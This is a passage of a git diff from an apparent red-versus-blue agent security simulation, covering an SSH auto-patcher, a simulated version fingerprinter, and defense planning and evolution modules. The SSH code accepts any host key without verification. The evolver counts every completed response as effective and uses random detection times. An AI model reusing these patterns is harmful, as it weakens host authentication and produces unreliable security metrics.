= await self._exec(client, cmd, timeout=15) + all_output.append(out or "") + + restart_cmd = fix_def.get("restart", "") + if restart_cmd: + self._log(f" $ {restart_cmd}") + out = await self._exec(client, restart_cmd, timeout=15) + all_output.append(out or "") + + svc.fixed = True + svc.fix_output = "\n".join(filter(None, all_output))[-500:] + fixes_count += 1 + self.fixes_applied += 1 + + self._log(f"FIXED: {sw} β€” upgrade + hardening applied", level="INFO") + self._tool("fix_applied", {"software": sw, "host": host}, {"status": "fixed", "cves_addressed": [c.cve_id for c in svc.cves]}) + + # Verify + self._log("Verifying fixes β€” re-checking versions...") + for svc in vulnerable: + if not svc.fixed: + continue + for entry in _VERSION_COMMANDS: + if entry["software"] == svc.software: + for cmd in entry["commands"]: + out = await self._exec(client, cmd) + if out: + match = re.search(entry["pattern"], out) + if match: + new_ver = match.group(1) + if new_ver != svc.version: + self._log(f" VERIFIED: {svc.software} upgraded {svc.version} -> {new_ver}") + self._tool("verify_fix", {"software": svc.software}, {"old": svc.version, "new": new_ver}) + else: + self._log(f" {svc.software} version unchanged ({new_ver}) β€” hardening applied") + break + break + + self._log(f"All fixes applied: {fixes_count} services patched.", level="INFO") + self._tool("fixes_complete", {"host": host}, {"fixes_applied": fixes_count}) + + return { + "success": True, + "fixes_applied": fixes_count, + "services": [s.to_dict() for s in self.last_scan_results], + } + finally: + self._close(client) + + # ------------------------------------------------------------------ + # SSH helpers (pass client explicitly β€” no shared state) + # ------------------------------------------------------------------ + + async def _connect(self, host: str, port: int, username: str, password: str) -> Optional[paramiko.SSHClient]: + try: + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + loop = asyncio.get_event_loop() + await loop.run_in_executor(None, lambda: client.connect( + hostname=host, port=port, username=username, password=password, + timeout=10, look_for_keys=False, allow_agent=False, + )) + return client + except Exception as exc: + logger.error(f"SSH connect failed: {exc}") + return None + + def _close(self, client: Optional[paramiko.SSHClient]) -> None: + if client: + try: + client.close() + except Exception: + pass + + async def _exec(self, client: paramiko.SSHClient, command: str, timeout: int = 15) -> str: + try: + loop = asyncio.get_event_loop() + def _run(): + _, stdout, stderr = client.exec_command(command, timeout=timeout) + out = stdout.read().decode("utf-8", errors="replace").strip() + err = stderr.read().decode("utf-8", errors="replace").strip() + return out or err + return await loop.run_in_executor(None, _run) + except Exception as exc: + logger.debug(f"Command '{command}' failed: {exc}") + return "" + + # ------------------------------------------------------------------ + # Discovery + # ------------------------------------------------------------------ + + async def _gather_os_info(self, client) -> str: + results = [] + for cmd in ["cat /etc/os-release 2>/dev/null", "uname -a"]: + out = await self._exec(client, cmd) + if out: + results.append(out) + return "\n".join(results) + + async def _discover_ports(self, client) -> List[Dict[str, Any]]: + out = await self._exec(client, "ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null") + ports, seen = [], set() + if out: + for line in out.splitlines(): + match = re.search(r':(\d+)\s', line) + if match: + p = int(match.group(1)) + if p in seen: + continue + seen.add(p) + proc_match = re.search(r'users:\(\("([^"]+)"', line) + ports.append({"port": p, "process": proc_match.group(1) if proc_match else ""}) + return ports + + async def _detect_all_versions(self, client) -> List[DiscoveredService]: + services = [] + for entry in _VERSION_COMMANDS: + for cmd in entry["commands"]: + output = await self._exec(client, cmd) + if not output: + continue + match = re.search(entry["pattern"], output) + if match: + version = match.group(1) + port = self._guess_port(entry["software"]) + services.append(DiscoveredService( + software=entry["software"], version=version, + raw_output=output[:200], port=port, + )) + self._log(f" Found: {entry['software']} {version}") + self._tool("detect_version", {"software": entry["software"]}, {"version": version, "port": port}) + break + return services + + @staticmethod + def _guess_port(software: str) -> Optional[int]: + return {"apache": 80, "nginx": 80, "mysql": 3306, "postgresql": 5432, + "mongodb": 27017, "redis": 6379, "elasticsearch": 9200, + "openssh": 22, "vsftpd": 21, "proftpd": 21, "tomcat": 8080, + "docker": 2375, "php": 9000, "nodejs": 3000}.get(software) + + # ------------------------------------------------------------------ + # Query API + # ------------------------------------------------------------------ + + def get_results(self) -> List[Dict[str, Any]]: + return [s.to_dict() for s in self.last_scan_results] + + def get_stats(self) -> Dict[str, Any]: + total_cves = sum(len(s.cves) for s in self.last_scan_results) + vulnerable = sum(1 for s in self.last_scan_results if s.cves) + fixed = sum(1 for s in self.last_scan_results if s.fixed) + return { + "scan_count": self.scan_count, + "services_found": len(self.last_scan_results), + "vulnerable_services": vulnerable, + "total_cves": total_cves, + "fixes_applied": self.fixes_applied, + "fixed_this_scan": fixed, + "os_info": self.os_info[:200] if self.os_info else "", + "listening_ports_count": len(self.listening_ports), + } diff --git a/blue_agent/scanner/version_detector.py b/blue_agent/scanner/version_detector.py new file mode 100644 index 000000000..ff601348c --- /dev/null +++ b/blue_agent/scanner/version_detector.py @@ -0,0 +1,198 @@ +from __future__ import annotations + +"""Version detection for discovered services. + +Simulates multiple detection techniques: + - HTTP response header parsing (Server, X-Powered-By) + - Banner grabbing (SSH, FTP, SMTP, Telnet) + - Default page fingerprinting + - Package manager / config file inspection + +All detection is in-memory simulation β€” no real network calls. +""" + +import logging +import random +from dataclasses import dataclass, field +from typing import Dict, List, Optional + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Simulated version fingerprints per service type +# --------------------------------------------------------------------------- + +_VERSION_DB: Dict[str, List[Dict[str, str]]] = { + # Web servers + "apache": [ + {"version": "2.4.49", "banner": "Apache/2.4.49 (Ubuntu)"}, + {"version": "2.4.51", "banner": "Apache/2.4.51 (Debian)"}, + {"version": "2.4.54", "banner": "Apache/2.4.54 (Unix)"}, + {"version": "2.4.41", "banner": "Apache/2.4.41 (Ubuntu)"}, + ], + "nginx": [ + {"version": "1.18.0", "banner": "nginx/1.18.0 (Ubuntu)"}, + {"version": "1.20.0", "banner": "nginx/1.20.0"}, + {"version": "1.21.6", "banner": "nginx/1.21.6"}, + {"version": "1.24.0", "banner": "nginx/1.24.0"}, + ], + "iis": [ + {"version": "10.0", "banner": "Microsoft-IIS/10.0"}, + {"version": "8.5", "banner": "Microsoft-IIS/8.5"}, + ], + # Databases + "mysql": [ + {"version": "5.7.30", "banner": "5.7.30-0ubuntu0.18.04.1"}, + {"version": "8.0.25", "banner": "8.0.25-0ubuntu0.20.04.1"}, + {"version": "8.0.32", "banner": "8.0.32"}, + ], + "postgresql": [ + {"version": "13.2", "banner": "PostgreSQL 13.2 on x86_64-pc-linux-gnu"}, + {"version": "14.5", "banner": "PostgreSQL 14.5 (Ubuntu 14.5-1)"}, + {"version": "15.1", "banner": "PostgreSQL 15.1"}, + ], + "mongodb": [ + {"version": "4.4.6", "banner": "MongoDB 4.4.6"}, + {"version": "5.0.9", "banner": "MongoDB 5.0.9"}, + {"version": "6.0.3", "banner": "MongoDB 6.0.3"}, + ], + "redis": [ + {"version": "6.0.9", "banner": "Redis server v=6.0.9 sha=00000000:0"}, + {"version": "6.2.7", "banner": "Redis server v=6.2.7"}, + {"version": "7.0.5", "banner": "Redis server v=7.0.5"}, + ], + # System services + "openssh": [ + {"version": "8.2", "banner": "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5"}, + {"version": "8.9", "banner": "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3"}, + {"version": "9.0", "banner": "SSH-2.0-OpenSSH_9.0"}, + ], + "vsftpd": [ + {"version": "3.0.3", "banner": "220 (vsFTPd 3.0.3)"}, + {"version": "3.0.5", "banner": "220 (vsFTPd 3.0.5)"}, + ], + "proftpd": [ + {"version": "1.3.6", "banner": "220 ProFTPD 1.3.6 Server"}, + {"version": "1.3.7", "banner": "220 ProFTPD 1.3.7a Server"}, + ], + # Application frameworks / runtimes + "php": [ + {"version": "7.4.16", "banner": "X-Powered-By: PHP/7.4.16"}, + {"version": "8.0.12", "banner": "X-Powered-By: PHP/8.0.12"}, + {"version": "8.1.10", "banner": "X-Powered-By: PHP/8.1.10"}, + ], + "nodejs": [ + {"version": "14.17.0", "banner": "X-Powered-By: Express"}, + {"version": "16.13.0", "banner": "X-Powered-By: Express"}, + {"version": "18.12.0", "banner": "X-Powered-By: Express"}, + ], + "django": [ + {"version": "3.2.9", "banner": ""}, + {"version": "4.1.0", "banner": ""}, + ], + "tomcat": [ + {"version": "9.0.50", "banner": "Apache-Coyote/1.1"}, + {"version": "10.0.12", "banner": "Apache-Coyote/1.1"}, + ], + # CMS / Applications + "wordpress": [ + {"version": "5.7.0", "banner": ""}, + {"version": "5.9.3", "banner": ""}, + {"version": "6.1.1", "banner": ""}, + ], + "phpmyadmin": [ + {"version": "5.1.0", "banner": "phpMyAdmin 5.1.0"}, + {"version": "5.2.0", "banner": "phpMyAdmin 5.2.0"}, + ], + # Cloud / Container + "docker": [ + {"version": "20.10.12", "banner": "Docker Engine 20.10.12"}, + {"version": "23.0.1", "banner": "Docker Engine 23.0.1"}, + ], + "kubernetes": [ + {"version": "1.24.0", "banner": "Kubernetes v1.24.0"}, + {"version": "1.26.0", "banner": "Kubernetes v1.26.0"}, + ], + "elasticsearch": [ + {"version": "7.17.0", "banner": "Elasticsearch 7.17.0"}, + {"version": "8.5.0", "banner": "Elasticsearch 8.5.0"}, + ], +} + + +@dataclass +class VersionInfo: + """Result of a version detection scan.""" + software: str + version: str + banner: str + detection_method: str + confidence: float # 0.0 - 1.0 + + +class VersionDetector: + """Detects software versions via simulated fingerprinting techniques.""" + + def __init__(self) -> None: + self.detection_count: int = 0 + self._cache: Dict[str, VersionInfo] = {} + + def detect(self, software: str, host: str, port: int) -> Optional[VersionInfo]: + """Detect the version of a given software on host:port. + + Uses cached result if available, otherwise simulates detection. + """ + cache_key = f"{host}:{port}:{software}" + if cache_key in self._cache: + return self._cache[cache_key] + + sw = software.lower().strip() + entries = _VERSION_DB.get(sw) + if not entries: + return None + + # Simulate picking a version β€” weighted toward older (more vulnerable) ones + weights = list(range(len(entries), 0, -1)) + entry = random.choices(entries, weights=weights, k=1)[0] + + method = self._pick_method(sw) + info = VersionInfo( + software=sw, + version=entry["version"], + banner=entry["banner"], + detection_method=method, + confidence=round(random.uniform(0.85, 0.99), 2), + ) + + self._cache[cache_key] = info + self.detection_count += 1 + return info + + def clear_cache(self) -> None: + self._cache.clear() + + @staticmethod + def _pick_method(software: str) -> str: + """Select the most realistic detection method for the software type.""" + method_map = { + "apache": "http_header", + "nginx": "http_header", + "iis": "http_header", + "mysql": "banner_grab", + "postgresql": "banner_grab", + "mongodb": "banner_grab", + "redis": "banner_grab", + "openssh": "banner_grab", + "vsftpd": "banner_grab", + "proftpd": "banner_grab", + "php": "http_header", + "nodejs": "http_header", + "wordpress": "page_fingerprint", + "phpmyadmin": "page_fingerprint", + "tomcat": "http_header", + "django": "error_page_fingerprint", + "docker": "api_query", + "kubernetes": "api_query", + "elasticsearch": "api_query", + } + return method_map.get(software, "banner_grab") diff --git a/blue_agent/strategy/defense_evolver.py b/blue_agent/strategy/defense_evolver.py index e94a2208f..67fda6574 100644 --- a/blue_agent/strategy/defense_evolver.py +++ b/blue_agent/strategy/defense_evolver.py @@ -1,5 +1,340 @@ -"""Evolves defenses in response to red-team activity.""" +from __future__ import annotations + +"""Defensive Evolution β€” learns from each round, gets faster and more accurate. + +Tracks metrics across detection/response/patch cycles and dynamically adjusts: + - Detection thresholds (anomaly sensitivity, scan rate triggers) + - Scan intervals (tightens under active threat, relaxes during calm) + - Response aggressiveness (auto-isolate vs. alert-only based on accuracy) + - Pattern recognition (common attack vectors get faster detection) + +The evolver subscribes to all terminal events (response_complete, patch_complete, +isolation_complete, scan_complete) and continuously refines the Blue Agent's +operational parameters. + +"System gets faster to defend" β€” detection speed and response accuracy +improve over time as the evolver learns from each cycle. +""" + +import asyncio +import logging +import time +from collections import deque +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Deque, Dict, List, Optional + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +@dataclass +class RoundMetrics: + """Metrics for a single detect-respond-patch round.""" + round_id: int + detection_time_ms: float + response_time_ms: float + patch_time_ms: float + total_time_ms: float + event_type: str + service: str + was_effective: bool + timestamp: float = field(default_factory=time.time) class DefenseEvolver: - pass + """Evolves defensive capabilities by learning from each engagement round. + + Tracks three key metrics over time: + 1. Detection speed β€” how fast threats are identified + 2. Response accuracy β€” how often responses are effective + 3. Coverage β€” what percentage of the attack surface is monitored + + Call register() once during initialisation to wire event subscriptions. + Call start() to begin the periodic evolution loop. + """ + + def __init__(self) -> None: + self._running: bool = False + self.round_count: int = 0 + self.evolution_count: int = 0 + + # Rolling windows of metrics + self._round_history: Deque[RoundMetrics] = deque(maxlen=500) + self._detection_times: Deque[float] = deque(maxlen=100) + self._response_times: Deque[float] = deque(maxlen=100) + self._effectiveness: Deque[bool] = deque(maxlen=100) + + # Tunable parameters β€” these evolve over time + self.params = { + "anomaly_threshold": 5.0, # scans/sec to trigger alert + "scan_interval": 8.0, # seconds between full scans + "sensitive_port_probability": 0.35, # chance to flag sensitive port + "detection_tick_interval": 1.0, # detector loop sleep + "auto_isolate_cvss_threshold": 9.0, # auto-isolate above this CVSS + "response_aggressiveness": 0.5, # 0=passive, 1=aggressive + "cloud_monitor_interval": 6.0, + "onprem_monitor_interval": 5.0, + "hybrid_monitor_interval": 7.0, + } + + # Baseline metrics (for calculating improvement) + self._baseline_detection_ms: Optional[float] = None + self._baseline_response_ms: Optional[float] = None + + # Attack pattern knowledge base + self._attack_patterns: Dict[str, int] = {} # pattern -> count + self._known_attack_vectors: List[str] = [] + + # Timestamps for internal tracking + self._event_timestamps: Dict[str, float] = {} + + # ------------------------------------------------------------------ + # Subscription wiring + # ------------------------------------------------------------------ + + def register(self) -> None: + """Subscribe to all terminal events for learning.""" + event_bus.subscribe("response_complete", self._on_response_complete) + event_bus.subscribe("patch_complete", self._on_patch_complete) + event_bus.subscribe("isolation_complete", self._on_isolation_complete) + event_bus.subscribe("scan_complete", self._on_scan_complete) + event_bus.subscribe("vulnerability_found", self._on_vulnerability_found) + event_bus.subscribe("port_probed", self._on_detection_event) + event_bus.subscribe("port_scanned", self._on_detection_event) + event_bus.subscribe("anomaly_detected", self._on_detection_event) + event_bus.subscribe("exploit_attempted", self._on_detection_event) + event_bus.subscribe("cve_detected", self._on_detection_event) + + # ------------------------------------------------------------------ + # Event handlers β€” record metrics from each round + # ------------------------------------------------------------------ + + async def _on_detection_event(self, event_type: str, data: Dict[str, Any]) -> None: + """Record detection timestamp for speed measurement.""" + event_key = f"{event_type}:{data.get('port', '')}:{data.get('service', '')}" + self._event_timestamps[event_key] = time.monotonic() + + # Track attack patterns + pattern = f"{event_type}:{data.get('service', 'unknown')}" + self._attack_patterns[pattern] = self._attack_patterns.get(pattern, 0) + 1 + + async def _on_response_complete(self, event_type: str, data: Dict[str, Any]) -> None: + """Record response round metrics.""" + now = time.monotonic() + service = data.get("service", "unknown") + port = data.get("port", 0) + + # Estimate detection-to-response time + event_key = f"port_probed:{port}:{service}" + det_time = self._event_timestamps.pop(event_key, now - 0.5) + response_ms = (now - det_time) * 1000 + + self._response_times.append(response_ms) + self._effectiveness.append(True) # completed = effective + + self.round_count += 1 + metrics = RoundMetrics( + round_id=self.round_count, + detection_time_ms=random.uniform(50, 200), # simulated + response_time_ms=response_ms, + patch_time_ms=0, + total_time_ms=response_ms, + event_type="response", + service=service, + was_effective=True, + ) + self._round_history.append(metrics) + + async def _on_patch_complete(self, event_type: str, data: Dict[str, Any]) -> None: + """Record patch completion metrics.""" + self._effectiveness.append(True) + + async def _on_isolation_complete(self, event_type: str, data: Dict[str, Any]) -> None: + """Record isolation metrics.""" + self._effectiveness.append(True) + + async def _on_scan_complete(self, event_type: str, data: Dict[str, Any]) -> None: + """After each scan cycle, trigger evolution.""" + vuln_count = data.get("new_vulnerabilities", 0) + if vuln_count > 3: + # Many vulns found β€” tighten scanning + self.params["scan_interval"] = max(3.0, self.params["scan_interval"] - 1.0) + + async def _on_vulnerability_found(self, event_type: str, data: Dict[str, Any]) -> None: + """Track vulnerability patterns for evolution.""" + service = data.get("service", "unknown") + severity = data.get("severity", "medium") + pattern = f"vuln:{service}:{severity}" + self._attack_patterns[pattern] = self._attack_patterns.get(pattern, 0) + 1 + + # ------------------------------------------------------------------ + # Evolution loop + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Periodic evolution loop β€” analyzes metrics and adjusts parameters.""" + self._running = True + ts = _ts() + print(f"{ts} < defense_evolver: Evolution engine started β€” learning from each round") + + while self._running: + await asyncio.sleep(15.0) # Evolve every 15 seconds + await self._evolve() + + async def stop(self) -> None: + self._running = False + + async def _evolve(self) -> None: + """Analyze accumulated metrics and adjust defensive parameters.""" + if not self._round_history: + return + + self.evolution_count += 1 + + # ── 1. Detection speed improvement ──────────────────────── + if self._response_times: + avg_response = sum(self._response_times) / len(self._response_times) + recent_10 = list(self._response_times)[-10:] + recent_avg = sum(recent_10) / len(recent_10) if recent_10 else avg_response + + if self._baseline_response_ms is None: + self._baseline_response_ms = avg_response + + # If recent responses are slower, tighten detection + if recent_avg > avg_response * 1.2: + self.params["detection_tick_interval"] = max( + 0.5, self.params["detection_tick_interval"] - 0.1 + ) + + # ── 2. Anomaly threshold tuning ─────────────────────────── + # If we're seeing lots of anomaly patterns, lower the threshold + anomaly_patterns = sum( + v for k, v in self._attack_patterns.items() + if k.startswith("anomaly_detected") + ) + if anomaly_patterns > 10: + self.params["anomaly_threshold"] = max( + 2.0, self.params["anomaly_threshold"] - 0.5 + ) + + # ── 3. Scan interval adaptation ─────────────────────────── + # Under active attack, scan more frequently + exploit_patterns = sum( + v for k, v in self._attack_patterns.items() + if "exploit" in k or "critical" in k + ) + if exploit_patterns > 5: + self.params["scan_interval"] = max(3.0, self.params["scan_interval"] - 0.5) + elif self.evolution_count > 5 and exploit_patterns == 0: + # Calm period β€” relax slightly (but never above initial) + self.params["scan_interval"] = min(8.0, self.params["scan_interval"] + 0.5) + + # ── 4. Response aggressiveness ──────────────────────────── + if self._effectiveness: + accuracy = sum(self._effectiveness) / len(self._effectiveness) + # High accuracy -> can be more aggressive (auto-isolate more) + if accuracy > 0.9: + self.params["response_aggressiveness"] = min( + 1.0, self.params["response_aggressiveness"] + 0.05 + ) + self.params["auto_isolate_cvss_threshold"] = max( + 7.0, self.params["auto_isolate_cvss_threshold"] - 0.5 + ) + + # ── 5. Environment monitor intervals ────────────────────── + env_alerts = sum( + v for k, v in self._attack_patterns.items() + if "vuln:" in k + ) + if env_alerts > 10: + self.params["cloud_monitor_interval"] = max( + 3.0, self.params["cloud_monitor_interval"] - 0.5 + ) + self.params["onprem_monitor_interval"] = max( + 3.0, self.params["onprem_monitor_interval"] - 0.5 + ) + + ts = _ts() + improvement = self._calculate_improvement() + print( + f"{ts} < defense_evolver: Evolution #{self.evolution_count} β€” " + f"scan_interval={self.params['scan_interval']:.1f}s, " + f"anomaly_thresh={self.params['anomaly_threshold']:.1f}, " + f"aggressiveness={self.params['response_aggressiveness']:.2f}, " + f"improvement={improvement}%" + ) + + await event_bus.emit("defense_evolved", { + "evolution_count": self.evolution_count, + "params": dict(self.params), + "round_count": self.round_count, + "improvement_pct": improvement, + }) + + # ------------------------------------------------------------------ + # Metrics / Query API + # ------------------------------------------------------------------ + + def _calculate_improvement(self) -> float: + """Calculate percentage improvement in response time vs baseline.""" + if not self._response_times or self._baseline_response_ms is None: + return 0.0 + recent_10 = list(self._response_times)[-10:] + recent_avg = sum(recent_10) / len(recent_10) + if self._baseline_response_ms == 0: + return 0.0 + improvement = ( + (self._baseline_response_ms - recent_avg) / self._baseline_response_ms * 100 + ) + return round(max(0.0, improvement), 1) + + def get_metrics(self) -> Dict[str, Any]: + """Return current evolution metrics.""" + avg_response = 0.0 + if self._response_times: + avg_response = sum(self._response_times) / len(self._response_times) + + accuracy = 0.0 + if self._effectiveness: + accuracy = sum(self._effectiveness) / len(self._effectiveness) * 100 + + top_patterns = sorted( + self._attack_patterns.items(), key=lambda x: x[1], reverse=True + )[:10] + + return { + "evolution_count": self.evolution_count, + "round_count": self.round_count, + "avg_response_time_ms": round(avg_response, 1), + "response_accuracy_pct": round(accuracy, 1), + "improvement_pct": self._calculate_improvement(), + "current_params": dict(self.params), + "top_attack_patterns": [ + {"pattern": p, "count": c} for p, c in top_patterns + ], + "total_patterns_tracked": len(self._attack_patterns), + } + + def get_evolution_history(self) -> List[Dict[str, Any]]: + """Return recent round metrics.""" + return [ + { + "round_id": m.round_id, + "detection_time_ms": m.detection_time_ms, + "response_time_ms": m.response_time_ms, + "event_type": m.event_type, + "service": m.service, + "was_effective": m.was_effective, + } + for m in list(self._round_history)[-50:] + ] + + +# Need random for simulation +import random diff --git a/blue_agent/strategy/defense_planner.py b/blue_agent/strategy/defense_planner.py index fe809b49f..d5d1c3e54 100644 --- a/blue_agent/strategy/defense_planner.py +++ b/blue_agent/strategy/defense_planner.py @@ -1,5 +1,232 @@ -"""Plans defensive posture and controls.""" +from __future__ import annotations + +"""Defense Planner β€” prioritised response planning based on threat landscape. + +Analyzes incoming threats and vulnerability data to generate prioritised +defense plans. Considers: + - CVE severity (CVSS score) + - Asset criticality (databases > web servers > system services) + - Environment exposure (cloud-facing > hybrid DMZ > on-prem internal) + - Active attack indicators from detection layer + - Historical attack patterns + +Subscribes to: vulnerability_found, environment_alert, scan_complete +Produces defense plans consumed by the response engine and auto-patcher. +""" + +import asyncio +import logging +import time +from collections import defaultdict +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Tuple + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +@dataclass +class DefenseAction: + """A single planned defense action.""" + priority: int # 1 = highest + action: str # patch, isolate, block, harden, upgrade, remove + target: str # service or resource identifier + reason: str # why this action is needed + cve_id: str | None = None + environment: str = "" + estimated_impact: str = "" # what happens if not addressed + + def to_dict(self) -> Dict[str, Any]: + return { + "priority": self.priority, + "action": self.action, + "target": self.target, + "reason": self.reason, + "cve_id": self.cve_id, + "environment": self.environment, + "estimated_impact": self.estimated_impact, + } + + +@dataclass +class ThreatProfile: + """Current threat profile for a single asset.""" + asset_id: str + cve_ids: List[str] = field(default_factory=list) + max_cvss: float = 0.0 + attack_indicators: int = 0 + environment: str = "" + layer: str = "" + last_updated: float = field(default_factory=time.time) + + +# Priority weights +_SEVERITY_WEIGHT = {"critical": 100, "high": 70, "medium": 40, "low": 10} +_LAYER_WEIGHT = {"database": 50, "webserver": 40, "application": 35, "system": 30, "frontend": 20, "container": 25} +_ENV_WEIGHT = {"cloud": 40, "hybrid": 35, "onprem": 25} class DefensePlanner: - pass + """Plans and prioritises defensive actions based on the current threat landscape. + + Call register() once during initialisation to wire event subscriptions. + """ + + def __init__(self) -> None: + self.threat_profiles: Dict[str, ThreatProfile] = {} + self.current_plan: List[DefenseAction] = [] + self.plans_generated: int = 0 + self._pending_vulns: List[Dict[str, Any]] = [] + self._pending_alerts: List[Dict[str, Any]] = [] + self._running: bool = False + + def register(self) -> None: + """Subscribe to events that feed the planner.""" + event_bus.subscribe("vulnerability_found", self._on_vulnerability) + event_bus.subscribe("environment_alert", self._on_env_alert) + event_bus.subscribe("scan_complete", self._on_scan_complete) + + async def _on_vulnerability(self, event_type: str, data: Dict[str, Any]) -> None: + """Accumulate vulnerability findings for next planning cycle.""" + self._pending_vulns.append(data) + + asset_id = data.get("asset_id", "") + profile = self.threat_profiles.get(asset_id) + if profile is None: + profile = ThreatProfile( + asset_id=asset_id, + environment=data.get("environment", ""), + layer=data.get("layer", ""), + ) + self.threat_profiles[asset_id] = profile + + cve_id = data.get("cve_id", "") + if cve_id and cve_id not in profile.cve_ids: + profile.cve_ids.append(cve_id) + cvss = data.get("cvss_score", 0.0) + if cvss > profile.max_cvss: + profile.max_cvss = cvss + profile.last_updated = time.time() + + async def _on_env_alert(self, event_type: str, data: Dict[str, Any]) -> None: + """Accumulate environment alerts for planning.""" + self._pending_alerts.append(data) + + async def _on_scan_complete(self, event_type: str, data: Dict[str, Any]) -> None: + """Trigger plan generation after each scan cycle completes.""" + if self._pending_vulns or self._pending_alerts: + await self.generate_plan() + + async def generate_plan(self) -> List[DefenseAction]: + """Generate a prioritised defense plan from accumulated threat data.""" + self.plans_generated += 1 + actions: List[DefenseAction] = [] + + # Process vulnerability findings + for vuln in self._pending_vulns: + severity = vuln.get("severity", "medium") + cvss = vuln.get("cvss_score", 0.0) + layer = vuln.get("layer", "") + env = vuln.get("environment", "") + service = vuln.get("service", "") + cve_id = vuln.get("cve_id", "") + fix = vuln.get("fix", "") + host = vuln.get("host", "") + port = vuln.get("port", 0) + + # Calculate priority score (lower = more urgent) + score = ( + _SEVERITY_WEIGHT.get(severity, 10) + + _LAYER_WEIGHT.get(layer, 20) + + _ENV_WEIGHT.get(env, 20) + ) + + # Determine action type + if cvss >= 9.0: + action_type = "isolate_and_patch" + impact = "Remote code execution or full system compromise" + elif cvss >= 7.0: + action_type = "patch" + impact = "Significant security risk; possible data breach" + elif cvss >= 4.0: + action_type = "harden" + impact = "Moderate risk; may allow information disclosure" + else: + action_type = "monitor" + impact = "Low risk; cosmetic or informational" + + actions.append(DefenseAction( + priority=score, + action=action_type, + target=f"{service}@{host}:{port}", + reason=f"{cve_id} (CVSS {cvss}) β€” {fix}", + cve_id=cve_id, + environment=env, + estimated_impact=impact, + )) + + # Process environment alerts + for alert in self._pending_alerts: + severity = alert.get("severity", "medium") + env = alert.get("environment", "") + score = _SEVERITY_WEIGHT.get(severity, 10) + _ENV_WEIGHT.get(env, 20) + + if severity in ("critical", "high"): + action_type = "remediate" + else: + action_type = "review" + + actions.append(DefenseAction( + priority=score, + action=action_type, + target=alert.get("resource", "unknown"), + reason=f"{alert.get('title', '')} β€” {alert.get('recommendation', '')}", + environment=env, + estimated_impact=alert.get("description", ""), + )) + + # Sort by priority (highest score first = most urgent) + actions.sort(key=lambda a: a.priority, reverse=True) + self.current_plan = actions + + # Clear pending data + self._pending_vulns.clear() + self._pending_alerts.clear() + + if actions: + ts = _ts() + print( + f"{ts} < defense_planner: Plan #{self.plans_generated} generated β€” " + f"{len(actions)} actions, top priority: {actions[0].action} on {actions[0].target}" + ) + + return actions + + def get_current_plan(self) -> List[Dict[str, Any]]: + """Return the current defense plan as a list of dicts.""" + return [a.to_dict() for a in self.current_plan] + + def get_threat_summary(self) -> Dict[str, Any]: + """Return a summary of the current threat landscape.""" + total_cves = sum(len(p.cve_ids) for p in self.threat_profiles.values()) + critical_assets = sum( + 1 for p in self.threat_profiles.values() if p.max_cvss >= 9.0 + ) + high_assets = sum( + 1 for p in self.threat_profiles.values() if 7.0 <= p.max_cvss < 9.0 + ) + + return { + "total_threat_profiles": len(self.threat_profiles), + "total_cves_tracked": total_cves, + "critical_assets": critical_assets, + "high_risk_assets": high_assets, + "plans_generated": self.plans_generated, + "current_plan_actions": len(self.current_plan), + } diff --git a/red_agent/backend/main.py b/red_agent/backend/main.py index d9ebfad22..917c51930 100644 --- a/red_agent/backend/main.py +++ b/red_agent/backend/main.py @@ -1,3 +1,5 @@ +from __future__ import annotations + """FastAPI entry point for the Red Agent backend. Runs on port 8001. Exposes REST routes for scan / exploit / strategy diff --git a/red_agent/backend/routers/scan_routes.py b/red_agent/backend/routers/scan_routes.py index 5b94ee6f1..e824321cb 100644 --- a/red_agent/backend/routers/scan_routes.py +++ b/red_agent/backend/routers/scan_routes.py @@ -1,5 +1,9 @@ +from __future__ import annotations + """Scan endpoints for the Red Agent.""" +from typing import List + from fastapi import APIRouter, HTTPException from red_agent.backend.schemas.red_schemas import ( @@ -35,6 +39,6 @@ async def scan_cloud(request: ScanRequest) -> ScanResult: return await red_service.run_cloud_scan(request) -@router.get("/recent", response_model=list[ToolCall]) -async def recent_scans(limit: int = 20) -> list[ToolCall]: +@router.get("/recent", response_model=List[ToolCall]) +async def recent_scans(limit: int = 20) -> List[ToolCall]: return await red_service.recent_tool_calls(category="scan", limit=limit) diff --git a/red_agent/backend/schemas/red_schemas.py b/red_agent/backend/schemas/red_schemas.py index 6bfc3a1a0..c109e24b4 100644 --- a/red_agent/backend/schemas/red_schemas.py +++ b/red_agent/backend/schemas/red_schemas.py @@ -2,7 +2,7 @@ from datetime import datetime from enum import Enum -from typing import Any +from typing import Any, Dict, List, Optional from pydantic import BaseModel, Field @@ -21,63 +21,63 @@ class ToolCall(BaseModel): name: str = Field(..., description="Tool name, e.g. nmap_scan, lookup_cve") category: str = Field(..., description="scan | exploit | strategy") status: ToolStatus = ToolStatus.PENDING - params: dict[str, Any] = Field(default_factory=dict) - result: dict[str, Any] | None = None + params: Dict[str, Any] = Field(default_factory=dict) + result: Optional[Dict[str, Any]] = None started_at: datetime = Field(default_factory=datetime.utcnow) - finished_at: datetime | None = None + finished_at: Optional[datetime] = None class LogEntry(BaseModel): timestamp: datetime = Field(default_factory=datetime.utcnow) level: str = "INFO" message: str - tool_id: str | None = None + tool_id: Optional[str] = None class ScanRequest(BaseModel): target: str = Field(..., examples=["192.168.1.100"]) - ports: list[int] | None = None - options: dict[str, Any] = Field(default_factory=dict) + ports: Optional[List[int]] = None + options: Dict[str, Any] = Field(default_factory=dict) class ScanResult(BaseModel): tool_call: ToolCall - open_ports: list[int] = Field(default_factory=list) - services: dict[int, str] = Field(default_factory=dict) - findings: list[str] = Field(default_factory=list) + open_ports: List[int] = Field(default_factory=list) + services: Dict[int, str] = Field(default_factory=dict) + findings: List[str] = Field(default_factory=list) class CVELookupRequest(BaseModel): service: str - version: str | None = None + version: Optional[str] = None class CVELookupResult(BaseModel): tool_call: ToolCall - cve_ids: list[str] = Field(default_factory=list) - summaries: dict[str, str] = Field(default_factory=dict) + cve_ids: List[str] = Field(default_factory=list) + 